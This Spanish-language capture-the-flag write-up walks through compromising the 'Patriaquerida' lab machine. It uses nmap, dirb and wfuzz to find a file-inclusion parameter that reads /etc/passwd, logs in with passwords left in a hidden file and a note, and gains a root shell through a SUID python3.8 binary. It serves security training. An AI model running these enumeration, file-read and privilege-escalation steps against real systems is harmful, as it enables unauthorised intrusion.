> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/patriaquerida-write-up.md).

# Patriaquerida write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/OavOiSR69f3fbhVlBVwK" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima**

utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/WhwiiXYzvX73f1qadh5u" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y contemplamos una página por defecto de apache.

<figure><img src="/files/ZnZ2iq049AyFyFT3z4HY" alt=""><figcaption></figcaption></figure>

Como no hay nada interesante, vamos a usar la herramienta `Dirb` para encontrar rutas ocultas con el siguiente comando:

```bash
dirb http://172.17.0.2/
```

<figure><img src="/files/G6NoECpH06G40ks8DTzb" alt=""><figcaption></figcaption></figure>

Encontramos la ruta <http://172.17.0.2/index.php> la cual nos muestra lo siguiente al introducirla en el navegador:

<figure><img src="/files/0oQt3Eg9MoI9cdwxYdOA" alt=""><figcaption></figcaption></figure>

Los archivos que están dentro del directorio `/var/www/html/` se pueden ver a través del navegador, así que vamos a introducir la ruta <http://172.17.0.2/.hidden\\_pass> y contemplamos lo siguiente:

<figure><img src="/files/QmW5y1NU4rzoIlvJl4C2" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a probar a ver si encontramos un parámetro oculto en index.php con el que podemos ejecutar código o ver archivos, para ello ejecutamos el siguiente comando:

```bash
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -u 172.17.0.2/index.php?FUZZ=/etc/passwd --hl 0 
```

<figure><img src="/files/dZ5ZDcwcB8KKSnNwCih2" alt=""><figcaption></figcaption></figure>

Esto nos indica que podemos ver el contenido del archivo `/etc/passwd` con el parámetro `page`.

<figure><img src="/files/GGZQMr8HuHj9UUwsGNwO" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a probar la contraseña `balu` con el usuario `pinguino` y `mario`.

<figure><img src="/files/buQ0AScwl5GUaU4a1bQJ" alt=""><figcaption></figcaption></figure>

Observamos que la contraseña nos funciona con el usuario `pinguino`.

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima como el usuario `pinguino`, nos encontramos una nota llamada `/home/pinguino/nota_mario.txt` que contiene lo siguiente:

<figure><img src="/files/0WaXWQvhErJUM30wsoUN" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña de `mario` es `invitaacachopo`. Así que iniciamos sesión como mario.

<figure><img src="/files/18WtM7nUP1SQsZ0C8ZxP" alt=""><figcaption></figcaption></figure>

Ahora ejecutamos el comando `find / -perm -4000 -ls 2>/dev/null` el cual nos indica que podemos ejecutar el binario `/usr/bin/python3.8` como su propietario, en este caso root.

```bash
find / -perm -4000 -ls  2>/dev/null
```

<figure><img src="/files/9wC8hqgNSmxBGv85pqAw" alt=""><figcaption></figcaption></figure>

Así que ejecutamos python y ejecutamos lo siguiente:

```python
>>>import os 
>>> 
>>> os.execl("/bin/bash", "bash", "-p")

```

<figure><img src="/files/RVg4gCPKxAQ0ZUocn9hZ" alt=""><figcaption></figcaption></figure>
